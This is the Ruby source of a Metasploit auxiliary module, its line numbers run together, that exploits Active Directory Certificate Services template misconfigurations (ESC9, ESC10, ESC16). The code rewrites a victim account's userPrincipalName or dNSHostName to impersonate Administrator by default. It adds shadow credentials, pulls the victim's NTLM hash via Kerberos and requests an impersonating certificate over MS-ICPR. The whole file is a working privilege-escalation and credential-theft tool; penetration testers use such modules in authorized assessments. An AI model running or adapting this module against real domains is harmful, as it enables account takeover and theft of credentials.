Path: blob/master/modules/auxiliary/admin/dcerpc/esc_update_ldap_object.rb
32605 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'ruby_smb/dcerpc/client'67class MetasploitModule < Msf::Auxiliary8include Msf::Exploit::Remote::LDAP9include Msf::Exploit::Remote::LDAP::ActiveDirectory10include Msf::Exploit::Remote::MsIcpr11include Msf::Exploit::Remote::SMB::Client::Authenticated12include Msf::Exploit::Remote::DCERPC13include Msf::Auxiliary::Report14include Msf::OptionalSession::SMB1516def initialize(info = {})17super(18update_info(19info,20'Name' => 'Exploits AD CS Template misconfigurations which involve updating an LDAP object: ESC9, ESC10, and ESC16',21'Description' => %q{22This module exploits Active Directory Certificate Services (AD CS) template misconfigurations, specifically23ESC9, ESC10, and ESC16, by updating an LDAP object and requesting a certificate on behalf of a target user.24The module leverages the auxiliary/admin/ldap/ldap_object_attribute module to update the LDAP object and the25admin/ldap/shadow_credentials module to add shadow credentials for the target user if the target password is26not provided. It then uses the admin/kerberos/get_ticket module to retrieve the NTLM hash of the target user27and requests a certificate via MS-ICPR. The resulting certificate can be used for various operations, such as28authentication.2930The module ensures that any changes made by the ldap_object_attribute or shadow_credentials module are31reverted after execution to maintain system integrity.32},33'License' => MSF_LICENSE,34'Author' => [35'Will Schroeder', # original idea/research36'Lee Christensen', # original idea/research37'Oliver Lyak', # certipy implementation38'Spencer McIntyre', # icpr_cert module implementation39'jheysel-r7' # module implementation40],41'References' => [42[ 'URL', 'https://github.com/GhostPack/Certify' ],43[ 'URL', 'https://github.com/ly4k/Certipy' ],44[ 'URL', 'https://medium.com/@offsecdeer/adcs-exploitation-series-part-2-certificate-mapping-esc15-6e19a6037760' ],45[ 'URL', 'https://www.thehacker.recipes/ad/movement/adcs/certificate-templates#esc16-a-compatibility-mode' ],46[ 'ATT&CK', Mitre::Attack::Technique::T1098_ACCOUNT_MANIPULATION ],47[ 'ATT&CK', Mitre::Attack::Technique::T1649_STEAL_OR_FORGE_AUTHENTICATION_CERTIFICATES ]48],49'Notes' => {50'Reliability' => [],51'Stability' => [],52'SideEffects' => [ IOC_IN_LOGS ],53'AKA' => [ 'ESC9', 'ESC10', 'ESC16']54},55'Actions' => [56[ 'REQUEST_CERT', { 'Description' => 'Request a certificate' } ]57],58'DefaultAction' => 'REQUEST_CERT'59)60)6162deregister_options('PFX', 'ON_BEHALF_OF', 'Session', 'SMBuser', 'SMBPass', 'SMBDomain')6364register_options([65OptString.new('LDAPDomain', [true, 'The domain to authenticate to']),66OptString.new('LDAPUsername', [true, 'The username to authenticate with, who must have permissions to update the TARGET_USERNAME']),67OptString.new('LDAPPassword', [true, 'The password to authenticate with']),68OptEnum.new('UPDATE_LDAP_OBJECT', [ true, 'Either userPrincipalName or dNSHostName, Updates the necessary object of a specific user before requesting the cert.', 'userPrincipalName', %w[userPrincipalName dNSHostName] ]),69OptString.new('UPDATE_LDAP_OBJECT_VALUE', [ true, 'The account name you wish to impersonate', 'Administrator']),70OptString.new('TARGET_USERNAME', [true, 'The username of the target LDAP object (the victim account).'], aliases: ['SMBUser']),71OptString.new('TARGET_PASSWORD', [false, 'The password of the target LDAP object (the victim account). If left blank, Shadow Credentials will be used to authenticate as the TARGET_USERNAME'], aliases: ['SMBPass']),72OptString.new('CertificateAuthorityRhost', [false, 'The IP Address of the CA. The module will attempt to resolve this via DNS if this is not set'])73])7475register_advanced_options(76[77OptString.new('BASE_DN', [false, 'LDAP base DN if you already have it']),78OptInt.new('LDAPRport', [false, 'The target LDAP port.', 389]),79]80)81end8283# For more info on FQDN validation: https://stackoverflow.com/questions/11809631/fully-qualified-domain-name-validation84def valid_fqdn?(str)85str =~ /\A(?=.{1,253}\z)(?:(?!-)[a-zA-Z0-9-]{1,63}(?<!-)\.)+[a-zA-Z]{2,}\z/86end8788def validate_options89if datastore['UPDATE_LDAP_OBJECT'] == 'dNSHostName' && !valid_fqdn?(datastore['UPDATE_LDAP_OBJECT_VALUE'])90fail_with(Failure::BadConfig, "When UPDATE_LDAP_OBJECT is set to 'dNSHostName', UPDATE_LDAP_OBJECT_VALUE must be set to a valid FQDN.")91end92end9394def run95@dc_ip = datastore['RHOSTS']96validate_options97send("action_#{action.name.downcase}")98rescue MsIcprConnectionError, SmbIpcConnectionError => e99fail_with(Failure::Unreachable, e.message)100rescue MsIcprAuthenticationError, MsIcprAuthorizationError, SmbIpcAuthenticationError => e101fail_with(Failure::NoAccess, e.message)102rescue MsIcprNotFoundError => e103fail_with(Failure::NotFound, e.message)104rescue MsIcprUnexpectedReplyError => e105fail_with(Failure::UnexpectedReply, e.message)106rescue MsIcprUnknownError => e107fail_with(Failure::Unknown, e.message)108end109110def call_ldap_object_module(action, value = nil)111mod_refname = 'auxiliary/admin/ldap/ldap_object_attribute'112113print_status("Loading #{mod_refname}")114ldap_update_module = framework.modules.create(mod_refname)115116unless ldap_update_module117print_error("Failed to load module: #{mod_refname}")118return119end120121# Default to using the SMB credentials if LDAP credentials are not provided122ldap_update_module = framework.modules.create(mod_refname)123ldap_update_module.datastore['RHOST'] = datastore['RHOST']124ldap_update_module.datastore['RPORT'] = datastore['LDAPRport']125ldap_update_module.datastore['BASE_DN'] = datastore['BASE_DN']126ldap_update_module.datastore['VERBOSE'] = datastore['VERBOSE']127ldap_update_module.datastore['LDAPDomain'] = datastore['LDAPDomain']128ldap_update_module.datastore['LDAPUsername'] = datastore['LDAPUsername']129ldap_update_module.datastore['LDAPPassword'] = datastore['LDAPPassword']130ldap_update_module.datastore['OBJECT'] = datastore['TARGET_USERNAME']131ldap_update_module.datastore['ATTRIBUTE'] = datastore['UPDATE_LDAP_OBJECT']132ldap_update_module.datastore['OBJECT_LOOKUP'] = 'sAMAccountName'133ldap_update_module.datastore['VALUE'] = value134ldap_update_module.datastore['ACTION'] = action135136print_status("Running #{mod_refname}")137ldap_update_module.run_simple(138'LocalInput' => user_input,139'LocalOutput' => user_output,140'RunAsJob' => false141)142end143144def call_shadow_credentials_module(action, device_id = nil)145mod_refname = 'admin/ldap/shadow_credentials'146147print_status("Loading #{mod_refname}")148ldap_update_module = framework.modules.create(mod_refname)149150unless ldap_update_module151print_error("Failed to load module: #{mod_refname}")152return153end154155# Default to using the SMB credentials if LDAP credentials are not provided156ldap_update_module = framework.modules.create(mod_refname)157ldap_update_module.datastore['RHOST'] = datastore['RHOST']158ldap_update_module.datastore['RPORT'] = datastore['LDAPRport']159ldap_update_module.datastore['VERBOSE'] = datastore['VERBOSE']160ldap_update_module.datastore['LDAPDomain'] = datastore['LDAPDomain']161ldap_update_module.datastore['LDAPUsername'] = datastore['LDAPUsername']162ldap_update_module.datastore['LDAPPassword'] = datastore['LDAPPassword']163ldap_update_module.datastore['TARGET_USER'] = datastore['TARGET_USERNAME']164ldap_update_module.datastore['DEVICE_ID'] = device_id[:device_id] if action == 'remove' && device_id.present?165ldap_update_module.datastore['ACTION'] = action166167print_status("Running #{mod_refname}")168ldap_update_module.run_simple(169'LocalInput' => user_input,170'LocalOutput' => user_output,171'RunAsJob' => false172)173end174175def automate_get_hash(cert_path, username, domain, rhosts)176mod_refname = 'admin/kerberos/get_ticket'177178print_status("Loading #{mod_refname}")179get_ticket_module = framework.modules.create(mod_refname)180181unless get_ticket_module182print_error("Failed to load module: #{mod_refname}")183return184end185186print_status("Getting hash for #{username}")187get_ticket_module.datastore['CERT_FILE'] = cert_path188get_ticket_module.datastore['USERNAME'] = username189get_ticket_module.datastore['DOMAIN'] = domain190get_ticket_module.datastore['RHOSTS'] = rhosts191get_ticket_module.datastore['RPORT'] = 88192get_ticket_module.datastore['ACTION'] = 'GET_HASH'193194res = get_ticket_module.run_simple(195'LocalInput' => user_input,196'LocalOutput' => user_output,197'RunAsJob' => false198)199fail_with(Failure::Unknown, 'Failed to get hash for target user') unless res200res201end202203def action_request_cert204new_value = datastore['UPDATE_LDAP_OBJECT_VALUE']205# Get the original while updating (the update action returns the original value upon success)206@original_value = call_ldap_object_module('UPDATE', new_value)207fail_with(Failure::BadConfig, "The #{datastore['UPDATE_LDAP_OBJECT']} of #{datastore['TARGET_USERNAME']} is already set to #{datastore['UPDATE_LDAP_OBJECT_VALUE']}. After the module completes running it will revert the attribute to it's original value which will cause the certificate produced to throw a KDC_ERR_CLIENT_NAME_MISMATCH when attempting to use it. Try setting the #{datastore['UPDATE_LDAP_OBJECT']} of #{datastore['TARGET_USERNAME']} to anything but #{datastore['UPDATE_LDAP_OBJECT_VALUE']} using the ldap_object_attribute module and then rerun this module.") if @original_value.present? && @original_value.casecmp?(datastore['UPDATE_LDAP_OBJECT_VALUE'])208209smbpass = ''210211if datastore['TARGET_PASSWORD'].present?212smbpass = datastore['TARGET_PASSWORD']213elsif datastore['LDAPUsername'] == datastore['TARGET_USERNAME']214smbpass = datastore['LDAPPassword']215else216# Call the shadow credentials module to add the device and get the cert path217print_status("Adding shadow credentials for #{datastore['TARGET_USERNAME']}")218@device_id, cert_path = call_shadow_credentials_module('add')219smbpass = automate_get_hash(cert_path, datastore['TARGET_USERNAME'], datastore['LDAPDomain'], datastore['RHOSTS'])220end221ca_ip = datastore['CertificateAuthorityRhost'].present? ? datastore['CertificateAuthorityRhost'] : resolve_ca_ip222with_ipc_tree do |opts|223datastore['SMBUser'] = datastore['TARGET_USERNAME']224datastore['SMBPass'] = smbpass225datastore['RHOSTS'] = ca_ip226request_certificate(opts)227end228ensure229datastore['RHOSTS'] = @dc_ip230unless @device_id.nil?231print_status('Removing shadow credential')232call_shadow_credentials_module('remove', device_id: @device_id)233end234print_status('Reverting ldap object')235revert_ldap_object236end237238def resolve_ca_ip239vprint_status('Finding CA server in LDAP')240ca_servers = []241ldap_connect(port: datastore['LDAPRport']) do |ldap|242validate_bind_success!(ldap)243if (@base_dn = datastore['BASE_DN'])244print_status("User-specified base DN: #{@base_dn}")245else246print_status('Discovering base DN automatically')247248unless (@base_dn = ldap.base_dn)249fail_with(Failure::NotFound, "Couldn't discover base DN!")250end251end252ca_servers = adds_get_ca_servers(ldap)253vprint_status("Found #{ca_servers.length} CA servers in LDAP")254end255256if ca_servers.empty?257fail_with(Msf::Module::Failure::UnexpectedReply, 'No Certificate Authority servers found in LDAP.')258return259else260ca_servers.each do |ca|261vprint_good("Found CA: #{ca[:name]} (#{ca[:dNSHostName]})")262end263end264265ca_entry = ca_servers.find { |ca| ca[:name].casecmp?(datastore['CA']) }266267unless ca_entry268fail_with(Msf::Module::Failure::UnexpectedReply, "CA #{datastore['CA']} not found in LDAP. Checking registry values is unable to continue")269end270271ca_dns_hostname = ca_entry[:dNSHostName]272ca_ip_address = Rex::Socket.getaddress(ca_dns_hostname, false)273unless ca_ip_address274print_error("Unable to resolve the DNS Host Name of the CA server: #{ca_dns_hostname}. Checking registry values is unable to continue")275return276end277ca_ip_address278end279280def revert_ldap_object281# If the UPN was changed the certificate we requested won't work until we revert the UPN change. If the282# dnsHostName was changed the cert will still work however we'll revert the change to keep the system clean.283if @original_value.to_s.empty?284call_ldap_object_module('DELETE')285else286call_ldap_object_module('UPDATE', @original_value)287end288end289290# @yieldparam options [Hash] If a SMB session is present, a hash with the IPC tree present. Empty hash otherwise.291# @return [void]292def with_ipc_tree293opts = {}294if session295print_status("Using existing session #{session.sid}")296self.simple = session.simple_client297opts[:tree] = simple.client.tree_connect("\\\\#{client.dispatcher.tcp_socket.peerhost}\\IPC$")298end299300yield opts301ensure302opts[:tree].disconnect! if opts[:tree]303end304end305306307